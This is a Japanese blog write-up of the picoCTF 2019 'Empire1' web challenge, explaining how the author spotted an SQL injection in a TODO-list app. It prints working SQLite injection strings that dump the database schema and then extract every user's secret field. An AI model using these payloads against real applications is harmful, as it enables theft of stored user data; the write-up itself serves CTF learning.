はまやんはまやんはまやん

hamayanhamayan's blog

Empire1 [picoCTF 2019 Web 400]

https://ctftime.org/task/9499

前提知識

解説

利用者登録をしてTODOリストを表示する問題。
既視感はある。
解いた事のある方針で考えると、うまいことやって自分のTODOリストに他の人のTODOを表示させる。
問題を起こさせることができそうな所として、TODOの登録があるので、色々試す。

'をすると内部エラーになる。SQLiができそうだ。

まずはなんとかしてDBの情報を抜き出したい。
多分INSERT INTO ?? VALUES ('??', '入力')みたいな雰囲気になってるだろうと推測し、
' || (SELECT group_concat(sql) FROM sqlite_master) || 'を入れて、
INSERT INTO ?? VALUES ('??', '' || (SELECT group_concat(sql) FROM sqlite_master) || '')のように入れる文字列が構築され、
DB情報を入れ込むことができる。
なお、||は文字列連結の演算子である。

CREATE TABLE user ( id INTEGER NOT NULL, username VARCHAR(64), name VARCHAR(128), password_hash VARCHAR(128), secret VARCHAR(128), admin INTEGER, PRIMARY KEY (id) ),
CREATE UNIQUE INDEX ix_user_username ON user (username),
CREATE TABLE todo ( id INTEGER NOT NULL, item VARCHAR(256), user_id INTEGER, PRIMARY KEY (id), FOREIGN KEY(user_id) REFERENCES user (id) )

userにsecretというのがあり、問題文にsecret codeとあるので、これを抜き出してくれば良さそう。
これを同様の手法を用いて以下のように取ってくると取れる。

' || (SELECT group_concat(secret) FROM user) || '